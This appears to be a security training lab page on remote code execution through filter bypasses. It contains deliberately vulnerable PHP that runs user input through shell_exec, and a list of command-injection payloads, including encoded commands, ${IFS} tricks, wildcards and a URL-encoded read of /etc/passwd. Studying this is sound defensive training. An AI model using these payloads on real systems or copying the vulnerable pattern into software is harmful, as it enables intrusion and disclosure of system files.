RCE with advanced filter bypass techniques
This lab demonstrates advanced Remote Code Execution vulnerabilities where various filtering mechanisms are implemented but can be bypassed. The application applies different filters to user input but still allows RCE through creative bypass techniques.
Objective: Bypass the implemented filters and execute arbitrary commands using advanced techniques.
// Multiple filter implementations
function applyFilter($input, $type) {
switch ($type) {
case 'basic':
return str_replace([';', '&', '|', '`', '$', '(', ')', '<', '>'], '', $input);
case 'command_filter':
$commands = ['cat', 'ls', 'whoami', 'id', 'uname'];
foreach ($commands as $cmd) {
$input = str_ireplace($cmd, '', $input);
}
return $input;
case 'space_filter':
return str_replace(' ', '', $input);
case 'quote_filter':
return str_replace(['"', "'", '`'], '', $input);
default:
return $input;
}
}
// Bypass functions
function applyBypass($input, $technique) {
switch ($technique) {
case 'double_encoding':
return str_replace(['%2f', '%3a'], ['%252f', '%253a'], $input);
case 'unicode_encoding':
return str_replace(['/', ':'], ['%c0%af', '%c0%ae'], $input);
case 'command_substitution':
return str_replace(['ls', 'cat'], ['`ls`', '`cat`'], $input);
default:
return $input;
}
}
// Vulnerable processing
if (isset($_GET['cmd'])) {
$command = $_GET['cmd'];
$filtered_command = applyFilter($command, $filter_type);
$bypassed_command = applyBypass($filtered_command, $bypass_technique);
$output = shell_exec($bypassed_command . ' 2>&1');
}
uid=2256(kzlabsst) gid=2260(kzlabsst) groups=2260(kzlabsst)
cmdBasic Filter Bypasses:
whoami - Direct commandw%68oami - Character encodingw**oami - Wildcard substitutionSpace Filter Bypasses:
ls${IFS}-la - IFS variablels%20-la - URL encodingls%09-la - Tab characterCommand Filter Bypasses:
c%61t - Character encodingc**t - Wildcard substitution`cat` - Command substitutionTry different bypass techniques based on the active filter:
Try these advanced bypass techniques:
whoami - Direct command executionw%68oami - Character encoding bypassls${IFS}-la - IFS variable for spacesc%61t%20/etc/passwd - URL encoding bypass`whoami` - Command substitutionw**oami - Wildcard substitutionw%00hoami - Null byte injectionClick these links to test different bypass techniques: